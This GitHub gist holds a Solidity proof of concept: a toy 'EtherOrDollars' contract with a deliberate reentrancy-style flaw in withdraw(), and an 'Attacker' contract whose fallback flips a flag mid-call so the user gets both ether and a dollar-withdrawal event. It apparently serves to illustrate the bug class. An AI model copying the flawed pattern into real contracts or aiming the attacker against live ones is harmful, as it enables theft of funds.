Skip to content

Instantly share code, notes, and snippets.

@eMarchenko
Last active January 16, 2019 17:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save eMarchenko/6ae1c9ac942dbaef3f3ace06e4136b5e to your computer and use it in GitHub Desktop.
Save eMarchenko/6ae1c9ac942dbaef3f3ace06e4136b5e to your computer and use it in GitHub Desktop.
pragma solidity 0.5.2;
contract EtherOrDollars {
mapping(address => uint) public balances;
mapping(address => bool) public eth;
function deposit(bool _eth) external payable {
require(balances[msg.sender] == 0);
balances[msg.sender] = msg.value;
eth[msg.sender] = _eth;
}
function setEth(bool _eth) public {
eth[msg.sender] = _eth;
}
event WithdrawDollars(address user, uint value);
function withdraw() public {
uint value = balances[msg.sender];
balances[msg.sender] = 0;
if (eth[msg.sender]) {
(bool b, ) = msg.sender.call.value(value)("");
require(b);
}
if (!eth[msg.sender]) {
emit WithdrawDollars(msg.sender, value);
}
}
}
contract Attacker {
function attack(EtherOrDollars target) external payable {
target.deposit.value(1 ether)(true);
target.withdraw();
msg.sender.transfer(address(this).balance); // just to retrieve stolen ether
}
function() external payable {
EtherOrDollars(msg.sender).setEth(false);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment